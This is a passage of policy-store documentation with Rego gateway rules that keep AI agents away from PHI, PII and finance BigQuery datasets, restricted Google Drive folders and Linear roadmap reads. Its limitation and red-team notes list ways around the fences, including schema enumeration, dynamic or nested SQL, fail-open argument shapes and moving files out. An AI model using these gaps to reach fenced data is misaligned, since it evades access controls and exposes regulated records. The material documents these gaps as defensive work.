{ "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "bigquery-mcp-execute_sql", "args": { "sql": "SELECT customer_id, email FROM pii_customers.profiles WHERE id = 5" } } } } ``` `allow = false`, reason names the personal-data (PII) domain and the required `data-privacy` group. ### Denied — schema recon on a fenced dataset via a metadata tool ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "bigquery-mcp-get_dataset_info", "type": "tool" }, "subject": { "sub": "google-apps|analyst@example.com", "claims": { "groups": ["finance"] } }, "payload": { "name": "bigquery-mcp-get_dataset_info", "args": { "dataset_id": "phi_labresults" } } } } ``` `allow = false` — the caller holds `finance`, not the `clinical-data` group the `phi_` domain requires, so even the metadata lookup is fenced. ## Composition This policy is single-purpose. Curated companions for the BigQuery data plane: - **`guard-warehouse-sql` (ingress)** — deny DML/DDL/`GRANT` so a fenced-out caller cannot pivot to a destructive write; keeps ordinary agent callers read-only. - **`guard-warehouse-export` (ingress)** — deny `EXPORT DATA`/`EXTERNAL_QUERY` exfiltration constructs that move regulated data out without looking like a write. - **`redact-pii-egress` (egress)** — redact SSN/PAN/email patterns from returned rows: the defense-in-depth backstop for regulated tables not yet pinned here, or referenced by a dynamic construct this ingress fence cannot see. ## Known limitations - **Placeholder configuration.** The prefixes (`phi_`, `finance_`, `pii_`) and group names (`clinical-data`, `finance`, `data-privacy`) are placeholders — replace them with your tenant's real dataset naming scheme and your IdP's group-claim values at import time. Which datasets hold regulated data is not knowable from the wire, so pinning the naming convention is mandatory for this policy to do anything. - **Dynamic and indirect references evade the prefix regex.** Detection matches the literal fenced prefix at an identifier boundary in the wire text. A dataset reference built dynamically (`EXECUTE IMMEDIATE`, string concatenation, a parameter/bind) or reached indirectly through a **view defined in another dataset** — where the un-prefixed view name is what appears in the SQL — is not fenced. This is a fundamental limit of wire-level inspection; pair with `guard-warehouse-sql` (to scope dynamic SQL) and keep the egress redaction backstop in place. Treat the ingress fence as one layer, not the sole control. - **Dataset-listing tool is not inspected.** `list_dataset_ids` lists dataset names with no target argument, so it passes through — an uncleared caller can still learn that a `phi_`-prefixed dataset *exists* (but not its schema or rows). `execute_sql_readonly` **is** now fenced (added to `sql_tool_suffixes`), so a read-only `SELECT` from a fenced dataset is denied for an uncleared caller just like `execute_sql`. - **`INFORMATION_SCHEMA` / region-level enumeration is not fenced.** A query such as ``SELECT schema_name FROM `region-us`.INFORMATION_SCHEMA.SCHEMATA`` enumerates every dataset name in a region without ever writing a fenced prefix as a literal table reference, so the boundary-anchored detection does not fire and the call passes. This is metadata recon that the wire-level prefix match cannot see; pair with a **block-schema-recon** companion policy that denies `INFORMATION_SCHEMA`/`__TABLES__` references for callers outside analytics/engineering groups, and keep the egress backstop in place. - **AI-analytics and catalog-search tools are not inspected.** The MCP Toolbox tools `ask_data_insights` (which ships table contents to Google's Conversational Analytics API), `forecast`, `analyze_contribution`, and `search_catalog` are **not** among the inspected suffixes. The first three take a table reference plus a natural-language question (not a `sql`/`dataset_id` argument), so an uncleared caller can reference a fenced table through one of them and move its data without tripping this fence; their table-reference field name is unverified across Toolbox revisions. `search_catalog` is a Dataplex catalog search: it enumerates and describes datasets/tables by keyword, so an uncleared caller can use it to *discover* a fenced `phi_`/`finance_`/`pii_` dataset's existence and metadata (a recon/enumeration path parallel to `list_dataset_ids` and `INFORMATION_SCHEMA` above) even though it never carries a literal fenced table reference in a scanned argument. Gate the AI tools with a companion **gate-ai-analytics** policy and the search tool with a **block-schema-recon** companion (deny by group), and keep the egress redaction backstop in place; do not rely on this fence to cover the AI-analytics or catalog-search paths. - **Non-string / nested argument shapes are not inspected.** Detection reads only top-level **string** argument values (SQL tools scan every string arg; metadata tools scan the string-valued alias keys). A tool that carries its SQL or target identifier inside a **nested object or an array** (e.g. `args.query.sql`, or a `statements: [...]` batch) contributes no scanned text, so the call is treated as carrying no readable target and **passes through fail-open**. No verified BigQuery SQL/metadata server uses such a shape (all pass `sql`/`dataset_id` as top-level strings — see the landscape note), so this is a residual for an unverified/future community server rather than a live bypass; if you adopt a server with a nested argument shape, extend `inspected_text` to walk it, and keep the egress backstop in place. - **Convention-dependent, boundary-anchored.** Detection keys on a prefix at an identifier boundary (`\bphi_`), so a regulated dataset that does not carry the pinned prefix is not fenced, and — conversely — a benign column, alias, or literal that literally begins with a fenced prefix (e.g. a column named `phi_flag`) produces a **conservative (fail-safe) denial** for an un-cleared caller. Enforce the dataset naming convention in BigQuery and rely on the egress backstop for the residual. - **`groups` claim must be an array of strings.** A string-valued or otherwise malformed claim fails closed (fenced domains deny). On Auth0 tenants without RBAC /permissions configured, no `groups` claim reaches the policy and every fenced domain denies until the claim is wired up. If your IdP emits groups under a different claim name (e.g. a namespaced custom claim), update `caller_groups` in the Rego. - **Never uses stripped claims.** Authorization is driven solely by the IdP `groups` claim. The ContextForge-internal claims `is_admin`, `user`, and `teams` are stripped before reaching the policy and must **never** be used for these grants — a rule referencing them would silently never match. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package bigquery.ingress.fence_sensitive_datasets # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --------------------------------------------------------------------------- # Fence configuration — PLACEHOLDERS, replace at import time. # # Maps a BigQuery dataset NAME PREFIX -> the IdP group required to touch that # data domain. Prefixes are matched case-insensitively at an identifier # boundary (\bPREFIX); groups are compared case-insensitively against # `subject.claims.groups`. Replace with the tenant's real dataset naming scheme # and IdP group names. sensitive_domains := { "phi_": "clinical-data", # e.g. phi_records.encounters, phi_labresults "finance_": "finance", # e.g. finance_ledger.gl, finance_ar "pii_": "data-privacy", # e.g. pii_customers.profiles, pii_events } # Human-readable domain label for the deny reason. domain_labels := { "phi_": "protected health information (PHI)", "finance_": "financial", "pii_": "personal data (PII)", } # --------------------------------------------------------------------------- # Identity — read groups via object.get chains so a missing subject/claims/ # groups fails closed (no group -> no access to a fenced domain). caller_groups := object.get(object.get(input, "subject", {}), "claims", {}) caller_group_list := object.get(caller_groups, "groups", []) # True when the caller's groups claim (an array of strings) contains `group`. # A malformed (non-array) claim makes the iteration fail -> fail closed. caller_has_group(group) if { some g in caller_group_list lower(g) == lower(group) } # --------------------------------------------------------------------------- # Tool classification — match by suffix (gateway prefixes the server name). # Raw-SQL query tools. `execute_sql_readonly` is matched explicitly (its # `_readonly` suffix is NOT caught by the `execute_sql` suffix) because a # read-only SELECT still bulk-reads a regulated dataset, which is exactly what # this fence governs. Every string argument on these tools is scanned, so a # community server that names its SQL argument something other than `sql`/ # `query` cannot slip a query through fail-open. sql_tool_suffixes := ["execute_sql_readonly", "execute_sql", "execute-query", "query"] # Metadata / read tools whose `dataset_id`/`table_id` argument is scanned. metadata_tool_suffixes := [ "get_dataset_info", "get_table_info", "list_table_ids", "list-tables", "describe-table", ] tool_name := lower(object.get(input.resource, "name", "")) is_sql_tool if { some suffix in sql_tool_suffixes endswith(tool_name, suffix) } is_metadata_tool if { some suffix in metadata_tool_suffixes endswith(tool_name, suffix) } # --------------------------------------------------------------------------- # Argument extraction — object.get everywhere; only string values contribute. args := object.get(object.get(input, "payload", {}), "args", {}) # SQL text (from a query tool). Scan EVERY string argument value, not only the # documented `sql`/`query` keys, so a divergent/unverified argument key on a # community server cannot let an un-fenced query pass fail-open. A stray non-SQL # string arg that happens to start with a fenced prefix yields a conservative # (fail-safe) denial — consistent with the boundary-anchored detection below. inspected_text contains t if { is_sql_tool some _, v in args is_string(v) v != "" t := v } # Metadata identifiers (from a metadata tool). Official servers name these # `dataset_id`/`table_id`; the community kebab-case tools (LucasHild # `list-tables`/`describe-table`) may name them `dataset`/`table`/`table_name`. # Read the union so a metadata tool this policy CLAIMS to inspect cannot slip # through fail-open just because it used a different (unverified) key name. metadata_arg_keys := ["dataset_id", "table_id", "dataset", "table", "table_name"] inspected_text contains t if { is_metadata_tool some key in metadata_arg_keys t := object.get(args, key, "") is_string(t) t != "" } # This policy only inspects the SQL and metadata surfaces above; every other # tool, and an inspected tool carrying no readable target text, passes through. is_inspected_call if { count(inspected_text) > 0 } # --------------------------------------------------------------------------- # Detection. # True when `text` references an identifier beginning with `prefix`. `\b` # anchors to an identifier boundary (start of string, whitespace, `.`, `(`, # backtick, comma), so phi_records and myproj.finance_ledger match but a prefix # buried mid-identifier (my_pii_col) does not. domain_in_text(prefix, text) if { regex.match(sprintf(`(?i)\b%s`, [prefix]), text) } # A fenced domain the caller is NOT cleared for is referenced in the request. denied_domains contains prefix if { some prefix, group in sensitive_domains some t in inspected_text domain_in_text(prefix, t) not caller_has_group(group) } # --------------------------------------------------------------------------- # Allow rules. # Any call this policy does not inspect passes through untouched. allow if { not is_inspected_call } # Inspected call that references no fenced domain the caller lacks clearance for. allow if { is_inspected_call count(denied_domains) == 0 } # --------------------------------------------------------------------------- # Deny reasons — name the data domain, the dataset prefix, and the required # group, with an escalation hint. reasons contains msg if { some prefix in denied_domains group := sensitive_domains[prefix] label := domain_labels[prefix] msg := sprintf("Access to the %s data domain (BigQuery dataset prefix '%s') requires membership in the '%s' IdP group, which your identity does not carry. Request the '%s' group from your data-governance owner and retry; if you believe this dataset is misclassified, contact your data platform team.", [label, prefix, group, group]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Restricted Google Drive Files and Folders URL: https://www.intentbasedpolicy.com/policies/google-drive/fence-restricted-folders App(s): google-drive | Direction: ingress | Bundles: soc2, hipaa, gdpr-ccpa | Package: google_drive.ingress.fence_restricted_folders | Published: 2026-07-12 | Tags: google-drive, fence-restricted-folders, sensitive-scopes, ingress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/google-drive/fence-restricted-folders/policy.md # google-drive / fence-restricted-folders **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on restricted-ID match, allow otherwise **Package:** `google_drive.ingress.fence_restricted_folders` ## What it does Fences an admin-maintained denylist of restricted Google Drive file and folder IDs — HR records, M&A deal rooms, board packs, payroll — off the agent channel: 1. **Read fence.** Drive read/metadata tools (content reads, downloads, file metadata, file permissions) are denied when the file ID they address is on the restricted list. The blocked call never reaches the Drive MCP server. 2. **Write fence (staging-for-exfil).** Any tool call whose destination folder targets a restricted folder is denied, so an agent cannot stage files into — or move content through — a fenced location. Two destination shapes are checked: the scalar `parentFolderId` (piotr-agier) and the `parents` array (the Drive REST API v3 convention the official Google server mirrors), plus the shape-drift variants a server may send — `parents` as a bare string, `parents` as an array of v2 `{"id": ...}` objects, and `parentFolderId` as an array. 3. **Copy-out fence.** A `copy_file` / `copyFile` call whose *source* ID is on the restricted list is denied, so an agent cannot duplicate fenced content into an unrestricted, agent-readable location and then read the copy. Members of a placeholder `hr` IdP group are exempt from both fences via the caller's `groups` claim. A caller with a missing `subject`, missing `claims`, or missing/empty `groups` claim **fails closed**: no claims, no exemption. The restricted-ID list ships with obvious placeholders. **Pin your tenant's real Drive IDs at import time** — grab them from each folder's URL (`https://drive.google.com/drive/folders/`) and replace every `REPLACE-WITH-…` entry. ## Compliance alignment - **SOC 2 C1.1** — supports identification and protection of confidential information: the tenant names its confidential Drive locations and the gateway refuses agent access to them; **P4.1** — supports limiting personal information use to identified purposes by keeping HR and payroll folders out of general-purpose agent workflows. - **HIPAA §164.502(b)/§164.514(d)** — supports minimum-necessary, role-based limits on folders that hold employee health, leave, and benefits records; **§164.308(a)(4)** — information access management on the agent channel; **§164.522(a)** — supports honoring agreed-to restrictions by expressing them as denylist predicates. - **GDPR Art. 9** — supports special-category protection: HR folders routinely hold health, absence, and union-membership data, which this fence keeps away from agents; **Art. 5(1)(b)** — purpose limitation; **CPRA §1798.121** — supports the right to limit use of sensitive personal information. Fencing HR folders also supports **GDPR Art. 22 / 11 CCR §7200** by keeping employment records out of automated agent decision flows. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `gdrive-mcp-read_file_content`), so this policy matches case-insensitive **suffixes** to stay portable across deployments. Read/metadata suffixes fenced: - **Google official Drive MCP server / Claude connector:** `read_file_content`, `download_file_content`, `get_file_metadata`, `get_file_permissions`. - **isaacphi/mcp-gdrive:** `gdrive_read_file`, `gsheets_read`. - **piotr-agier/google-drive-mcp:** `downloadfile`, `readgoogledoc`, `readgoogledocpaginated`, `getgooglesheetcontent`, `getgoogleslidescontent`. The write fence is deliberately **not** tool-scoped — any call carrying a restricted destination folder (in `parentFolderId` or the `parents` array) is denied, whichever write tool carries it. The copy-out fence is tool-scoped to the verified copy suffixes `copy_file` (Google) and `copyFile` (piotr-agier), matched case-insensitively; the source ID itself is compared exactly (case-sensitive) against the denylist, as Drive IDs are case-sensitive. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape The read fence looks up the target file ID with `object.get` across four candidate argument names, matching the community-documented Drive server schemas: `fileId`, `documentId`, `spreadsheetId`, `presentationId` (exact, case-sensitive JSON keys). The write fence reads the destination folder from either `parentFolderId` (scalar, piotr-agier) or `parents` (array, the Drive REST API v3 shape the official Google server mirrors). The copy-out fence reuses the same four `id_arg_keys` to find the copy's source ID. Each key is read in both shapes: the scalar string (the common case) and an **array** of ID strings (single-parent SDK wrappers / batch-style callers); the read and copy-out fences are therefore array-tolerant, matching the write fence's own shape tolerance. ID comparison against the denylist is exact and case-sensitive, as Drive IDs are. A fenced tool call that carries none of the candidate keys passes through (there is no ID to check — see Known limitations). ## Examples ### Allowed — read of a file that is not on the list ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gdrive-mcp-read_file_content", "type": "tool" }, "payload": { "name": "gdrive-mcp-read_file_content", "args": { "fileId": "1a2B3c4D5e6F7g8H9i0J" } } } } ``` `allow = true`, no reason. ### Denied — read of a restricted file ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gdrive-mcp-read_file_content", "type": "tool" }, "payload": { "name": "gdrive-mcp-read_file_content", "args": { "fileId": "REPLACE-WITH-HR-FOLDER-ID" } } } } ``` `allow = false`, `reason = "This file or folder is on the organization's restricted Google Drive list (...)"`. ### Denied — upload staged into a restricted folder ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gdrive-mcp-uploadFile", "type": "tool" }, "payload": { "name": "gdrive-mcp-uploadFile", "args": { "name": "notes.txt", "parentFolderId": "REPLACE-WITH-PAYROLL-FOLDER-ID" } } } } ``` `allow = false`, `reason = "The destination folder is on the organization's restricted Google Drive list (...)"`. ## Composition This policy is single-purpose: it fences a named set of Drive IDs. Useful companions in this app directory: - [`role-gate-writes`](../role-gate-writes/policy.md) — gates *all* Drive write tools by IdP group; covers edits addressed by file ID, which this fence deliberately leaves to it. - [`freeze-destructive-ops`](../freeze-destructive-ops/policy.md) — blocks the destructive tier (`deleteItem`, `deleteSheet`, ...). - [`guard-acl-recon`](../guard-acl-recon/policy.md) — broader control on `get_file_permissions` beyond the fenced IDs. - [`redact-pii-egress`](../redact-pii-egress/policy.md) — egress redaction on content-returning tools, a second line of defense if a restricted file is reached under an unexpected argument name. ## Known limitations - **Restricted IDs are import-time placeholders.** Replace every `REPLACE-WITH-…` entry in `restricted_ids` with your tenant's real Drive file/folder IDs. Until you do, the policy fences nothing real. - **No hierarchy resolution.** The policy sees only the literal ID in the call; Drive IDs do not encode ancestry, and ingress cannot ask Drive who a file's parents are. Files *inside* a restricted folder that are addressed by their own ID must be listed individually (folder IDs only stop folder-addressed reads and `parentFolderId` writes). - **Official-server argument field names are unverified.** Google's MCP reference does not publish per-tool parameter schemas (it defers to `tools/list` at the live endpoint). The four candidate keys cover the community-documented shapes; if the official server spells the field differently (e.g. `file_id`), the fence silently misses. Pull `tools/list` through your gateway and extend `id_arg_keys` before production use. Each key is now read in both scalar and array shapes: a restricted `fileId`/`documentId`/… wrapped in a one-element array previously slipped the read and copy-out fences (they share `requested_ids`) even though the write fence was array-tolerant — that asymmetry was found and closed in red-team review (see the array-shaped-ID test cases). - **Write-fence destination field names are unverified (field NAMES, not shapes).** The write fence checks the scalar `parentFolderId` (piotr-agier, verified) and the `parents` array (the Drive REST API v3 convention the official Google server is expected to mirror, **unverified** pending `tools/list`). Shape drift on those two fields is now handled defensively: `parents` as a bare string, `parents` as an array of Drive API v2 `{"id": ...}` objects, and `parentFolderId` as an array are all fenced (see the red-team test cases). What remains a residual is a destination carried under a **different field name** (e.g. `folderId`, `parentId`, `parent`): a write staged into a restricted folder under such a name would slip the fence. The `parents`-array gap and these shape variants were both found and closed during red-team review. Pull `tools/list` through your gateway and extend the write fence with whatever destination field your deployment actually sends before production use. - **Search and listing results can still reveal restricted-file titles.** Search tools (`search_files`, `gdrive_search`, `search`) and listing tools (`list_recent_files`, `listFolder`) are not fenced, so an agent can still see names and snippets of restricted files in search/list results even though it cannot read them. These tools take a query or paging arguments rather than a file ID, so there is nothing for the ID fence to match on. Query rewriting to append `not '' in parents` to Drive queries is documented as future work and is **not** implemented here. This enumeration residual was noted in red-team review (see the `list_recent_files` test case). - **Edits and moves addressed by file ID are not fenced.** In-place write tools that take a `documentId`/`fileId` (e.g. `updateGoogleDoc`, `gsheets_update_cell`) are outside this policy's suffix lists by design — compose with [`role-gate-writes`](../role-gate-writes/policy.md) for write control. **`copy_file`/`copyFile` *are* fenced on their source ID** (see the copy-out fence above), but **`moveItem`/`renameItem` are not**: a move of a restricted file out of a fenced folder is an exfil-and-remove route that this policy does not catch, because those tools' source-ID argument names are not verified in the landscape note. Compose with [`role-gate-writes`](../role-gate-writes/policy.md) and [`freeze-destructive-ops`](../freeze-destructive-ops/policy.md) to close it, and extend `copy_source_suffixes`/`id_arg_keys` once you confirm the field names via `tools/list`. - **Anthropic connector and legacy suffixes may diverge.** The Google-server suffixes above are the canonical match target. The Anthropic-hosted "Google Drive" connector's tool names are **not verified against official docs** and reportedly diverge (e.g. `get_metadata` rather than `get_file_metadata`); a metadata read via such a variant would slip the read fence. The dead legacy claude.ai integration's `google_drive_search`/`google_drive_fetch` names are likewise not covered. Pull `tools/list` through your gateway and extend `fenced_read_suffixes` with whatever your deployment actually sends before relying on this in production. - **Group name is an import-time placeholder.** Replace `hr` with your IdP's real group name (in `exempt_group`) when importing. The match is exact and case-sensitive, and `groups` must be an array of strings: any non-array shape (a single delimited string, an object/map, a number, or null) is rejected by the `is_array` guard, so nobody is exempt (fail closed). This closes a placeholder-claim spoofing surface found in red-team review — an object-shaped `groups` claim like `{"role": "hr"}` would otherwise have let `some group in groups` iterate the map's values and fail OPEN. Confirm the claim shape with `dtwo-list-claims` or the dump-input technique. - **Generic suffixes can over-match on shared pipelines.** Suffixes like `downloadfile` may also match similarly named tools from non-Drive MCP servers on the same pipeline. Those calls are only denied when they carry a restricted ID, so collisions are effectively harmless — but scope the pipeline if it bites. > **Compliance note.** This policy supports alignment with the cited framework > controls **on the MCP path only**. No policy or bundle makes an organization > compliant with any framework; web-UI, native-API, and in-app access are outside > the gateway's reach by design. Validate against your own compliance program > before relying on it. ```rego package google_drive.ingress.fence_restricted_folders # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Admin-maintained denylist of restricted Drive file/folder IDs. # PLACEHOLDERS — pin your tenant's real IDs at import time (HR records, # M&A deal rooms, board packs, payroll — whatever must stay off the agent # channel). IDs come from the Drive URL, e.g. # https://drive.google.com/drive/folders/. Matching is exact and # case-sensitive, as Drive IDs are. restricted_ids := { "REPLACE-WITH-HR-FOLDER-ID", "REPLACE-WITH-MA-DEAL-ROOM-ID", "REPLACE-WITH-BOARD-PACK-ID", "REPLACE-WITH-PAYROLL-FOLDER-ID", } # IdP group whose members bypass the fence (e.g. the HR team itself). # PLACEHOLDER — replace with your IdP's real group name at import time. exempt_group := "hr" # Read/metadata tool suffixes across the Drive MCP servers in real use. # The gateway prefixes tool names with the configured server name, so we # match case-insensitive suffixes for portability. fenced_read_suffixes := [ # Google official Drive MCP server / Claude connector "read_file_content", "download_file_content", "get_file_metadata", "get_file_permissions", # isaacphi/mcp-gdrive "gdrive_read_file", "gsheets_read", # piotr-agier/google-drive-mcp (camelCase upstream; compared lowercased) "downloadfile", "readgoogledoc", "readgoogledocpaginated", "getgooglesheetcontent", "getgoogleslidescontent", ] # Candidate argument names carrying the target file ID (exact, case-sensitive # JSON keys, per the community-documented server schemas). The official # Google server's field names are unverified pending tools/list — see Known # limitations in the description. id_arg_keys := ["fileId", "documentId", "spreadsheetId", "presentationId"] # Copy-tool suffixes. A copy duplicates a source file into a new (agent- # readable) location, so a copy whose SOURCE is a restricted file would # exfiltrate fenced content out of the fence in a single hop — read the copy, # not the original. These tool names are verified in the landscape note # (Google `copy_file`, piotr-agier `copyFile`); the source-ID argument name is # assumed to be one of `id_arg_keys` (unverified for the official server — see # Known limitations). copy_source_suffixes := [ "copy_file", # Google official Drive MCP server "copyfile", # piotr-agier copyFile (compared lowercased) ] # A tool call is a fenced read when its lowercased name ends with any suffix. is_fenced_read_tool if { name := lower(input.resource.name) some suffix in fenced_read_suffixes endswith(name, suffix) } # A tool call is a copy when its lowercased name ends with a copy suffix. is_copy_tool if { name := lower(input.resource.name) some suffix in copy_source_suffixes endswith(name, suffix) } # Every non-empty target ID found under a candidate argument name. # Scalar form: the field carries the ID directly (the common case). requested_ids contains id if { some key in id_arg_keys id := object.get(input.payload.args, key, "") id != "" } # Shape-tolerant form: an id arg arrives as an ARRAY of ID strings # (single-parent SDK wrappers and batch-style callers do this). Without this # rule the read and copy-out fences — which both consume requested_ids — would # fail OPEN when a restricted `fileId`/`documentId`/… is wrapped in a # one-element array, even though the write fence is already array-tolerant. # is_array guards against iterating the characters of a scalar string; each # extracted element is only ever compared for an exact restricted-ID match, so # this can never cause a false allow — it strictly hardens the fence. requested_ids contains id if { some key in id_arg_keys arr := object.get(input.payload.args, key, []) is_array(arr) some id in arr is_string(id) id != "" } # Read fence: a fenced read/metadata tool addresses a restricted ID. targets_restricted_file if { is_fenced_read_tool some id in requested_ids restricted_ids[id] } # Write fence: any tool stages content into a restricted folder. # Deliberately not tool-scoped — whichever write tool carries the argument, # a restricted destination is denied (staging-for-exfil). # Two destination shapes are checked: # 1. `parentFolderId` (scalar) — piotr-agier's field name. # 2. `parents` (array) — the Drive REST API v3 convention that the official # Google server / Claude connector mirrors (`parents: [""]`). # Field names are unverified for the official MCP server pending tools/list # (see Known limitations); each rule is harmless if its field is absent, # because it only fires when a restricted ID is actually present. targets_restricted_parent if { parent := object.get(input.payload.args, "parentFolderId", "") restricted_ids[parent] } targets_restricted_parent if { some parent in object.get(input.payload.args, "parents", []) restricted_ids[parent] } # Shape-tolerant destination checks. Field NAMES are unverified for the # official MCP server (see Known limitations), but the shape a given field # arrives in also varies across servers/SDK wrappers. Each rule below only # ever fires on an exact restricted-ID match, so it can never cause a false # allow — it strictly hardens the write fence against shape drift. # 3. `parents` sent as a scalar string (single-parent / SDK-wrapper form) # instead of the v3 array. targets_restricted_parent if { parents := object.get(input.payload.args, "parents", []) is_string(parents) restricted_ids[parents] } # 4. `parents` array whose elements are Drive API v2 parentReference OBJECTS # (`{"id": ""}`) rather than bare v3 ID strings. targets_restricted_parent if { some p in object.get(input.payload.args, "parents", []) is_object(p) restricted_ids[object.get(p, "id", "")] } # 5. `parentFolderId` sent as an array rather than the piotr-agier scalar. targets_restricted_parent if { some parent in object.get(input.payload.args, "parentFolderId", []) is_string(parent) restricted_ids[parent] } # Copy-out fence: a copy tool whose source ID is restricted would duplicate # fenced content into an unrestricted, agent-readable location. Denied on the # source ID (the destination is separately covered by targets_restricted_parent). targets_restricted_source if { is_copy_tool some id in requested_ids restricted_ids[id] } # Exemption: the caller's IdP-issued `groups` claim contains the exempt # group. object.get chains make missing subject/claims/groups resolve to an # empty list, so absent identity fails closed (no claims, no exemption). # The `is_array(groups)` guard is load-bearing: without it, `some group in # groups` would iterate the *values* of a `groups` claim shaped as an # object/map, so a claim like {"groups": {"role": "hr"}} would fail OPEN and # grant the exemption. Requiring an array forces every non-array shape # (string, object, number, null) to fail closed, matching the documented # guarantee. caller_is_exempt if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) is_array(groups) some group in groups group == exempt_group } # Calls that touch nothing restricted pass through freely. allow if { not targets_restricted_file not targets_restricted_parent not targets_restricted_source } # Exempt-group members bypass both fences. allow if { caller_is_exempt } reasons contains "This file or folder is on the organization's restricted Google Drive list (HR, M&A, board, or payroll material). Agents may not read its content, metadata, or permissions. Work from an approved copy stored outside the restricted folders, or contact your InfoSec team if you believe this is a false positive." if { targets_restricted_file not caller_is_exempt } reasons contains "The destination folder is on the organization's restricted Google Drive list. Agents may not create, upload, copy, or move files into it. Choose a destination outside the restricted folders, or contact your InfoSec team if you believe this is a false positive." if { targets_restricted_parent not caller_is_exempt } reasons contains "This file is on the organization's restricted Google Drive list (HR, M&A, board, or payroll material). Copying it out of the restricted folders is not allowed, because the copy would carry the same content into an unrestricted location. Work from an approved copy, or contact your InfoSec team if you believe this is a false positive." if { targets_restricted_source not caller_is_exempt } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Roadmap and Initiative Reads (Egress) URL: https://www.intentbasedpolicy.com/policies/linear/fence-roadmap-egress App(s): linear | Direction: egress | Bundles: soc2 | Package: linear.egress.fence_roadmap | Published: 2026-07-12 | Tags: linear, fence-sensitive-scopes, roadmap, egress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/linear/fence-roadmap-egress/policy.md # linear / fence-roadmap-egress **Direction:** egress (`tool_post_invoke`) **Default:** deny (withhold the response) on a guarded read by an un-privileged caller; allow otherwise **Package:** `linear.egress.fence_roadmap` ## What it does Fences the **responses** of Linear's roadmap, initiative, and strategy **read** tools. When one of these tools returns and the caller is **not** in the `product` or `exec` IdP group, the entire response is withheld (denied) before it reaches the agent. Every other tool response — and the same reads for a privileged caller — passes through unchanged. The guarded reads return unreleased product plans, launch timing, initiative/project narratives, and draft documents. That content is the exact material pre-announcement-leak and MNPI (material non-public information) controls care about, so exposure is gated on IdP-group membership: - `linear_getRoadmaps` - `linear_getInitiatives` - `linear_getInitiativeUpdates` - initiative / project-update reads (e.g. `linear_getProjectUpdates`, and the Feb-2026 official equivalents) - `linear_getMilestones` — project-milestone reads carry launch/target dates (launch timing) - `linear_getDocuments` (PRDs/specs), `linear_searchDocuments` (same document content, reached by search), and Linear's document reads (`get_document` / `list_documents`) - `linear_getDocumentContentHistory` — leaks *edited-out* draft content, so it is guarded even though its current text may look benign ## Why egress and not ingress The sensitivity lives in the **returned** unreleased-plan content, not in the request arguments — a call to `linear_getRoadmaps` looks identical whether the workspace has one benign roadmap or a quarter of unannounced launches. There is nothing in the request to key an ingress rule on beyond the tool name, and blocking at ingress would also be correct but coarser. This policy blocks at egress so it sits on the actual data path and composes cleanly with an ingress role-gate (defense in depth). Because the whole response is unreleased-plan content, the protective action is to withhold the **entire** response rather than field-redact it — a partially redacted roadmap is still a roadmap. ## Compliance alignment - **SOC 2 C1.1** — supports identifying and protecting confidential information by keeping unreleased roadmap/initiative content off the agent channel for callers outside the entitled groups (PF-23 sensitive-scope fencing). - **SOC 2 CC6.7 / P6.1** — supports restricting the transmission and disclosure of confidential and personal information to the agent by withholding roadmap/initiative/strategy responses from callers outside `product`/`exec` (coverage-matrix §2.1). All alignment is on the MCP path only (see the compliance note below). ## Tool name matching Linear has **three naming schemes** for the same actions — official bare snake_case (`get_roadmaps`), tacticlaunch `linear_` + camelCase (`linear_getRoadmaps`), and community fully-snake (`linear_get_roadmaps`) — and the gateway further prefixes every tool with the configured MCP server name. The policy therefore: 1. collects the tool name from all three egress surfaces that carry it — `input.resource.name` (PARC), `input.tool_metadata.name` (legacy), and `input.payload.name` (tool-hook canonical) — lowercased, so a gateway that populates a different surface can't slip a guarded read past the fence (this is a deny policy, so an unrecognized name would otherwise fail **open**), 2. strips `_` from each so one suffix matches all three spellings, then 3. matches by **suffix** (`endswith`): a response is guarded if **any** surface ends in one of these normalized read-tool suffixes: `getroadmaps`, `getroadmap`, `listroadmaps`, `getinitiatives`, `getinitiative`, `listinitiatives`, `getinitiativeupdates`, `getinitiativeupdate`, `listinitiativeupdates`, `getprojectupdates`, `getprojectupdate`, `listprojectupdates`, `getmilestones`, `getmilestone`, `listmilestones`, `getdocuments`, `getdocument`, `listdocuments`, `searchdocuments`, `getdocumentcontenthistory`. Additionally, tacticlaunch exposes by-id reads as `getById` (verified pattern: `linear_getIssueById`). Each surface name is therefore also matched with a trailing `byid` trimmed, so `getRoadmapById` / `getInitiativeById` / `getDocumentById` / `getMilestoneById` resolve to the same singular `get` suffix and are fenced. `getProjectById` stays unfenced because it trims to `getproject`, which is not a guarded suffix (consistent with the intentional non-fence of the general project read). Suffixes are read-verb-anchored (`get`/`list`) forms in both singular by-id and plural collection spellings, so write/create/update tools (`createInitiativeUpdate`, `updateProject`) are not matched. The singular `get` forms are guarded because Linear's official server names its by-id reads that way (`get_issue`, `get_project`, `get_document`), so the by-id read of a single unannounced initiative/roadmap/milestone/update (`get_initiative`, `get_roadmap`, …) is fenced exactly like the collection read. Both `get` and `list` variants are included to cover the official reads whose exact names are unverified. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape This policy reads **no tool arguments** — the decision is (guarded tool) × (caller group) only. Identity groups are read via `object.get(input.subject, "claims", {})` → `groups`, defaulting to `[]`: a missing `subject`, missing `claims`, or missing `groups` yields no group, so the caller is treated as un-privileged and the response is withheld (fail closed — redaction/denial rather than exposure). ## Examples ### Allowed — caller is in the `product` group ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": 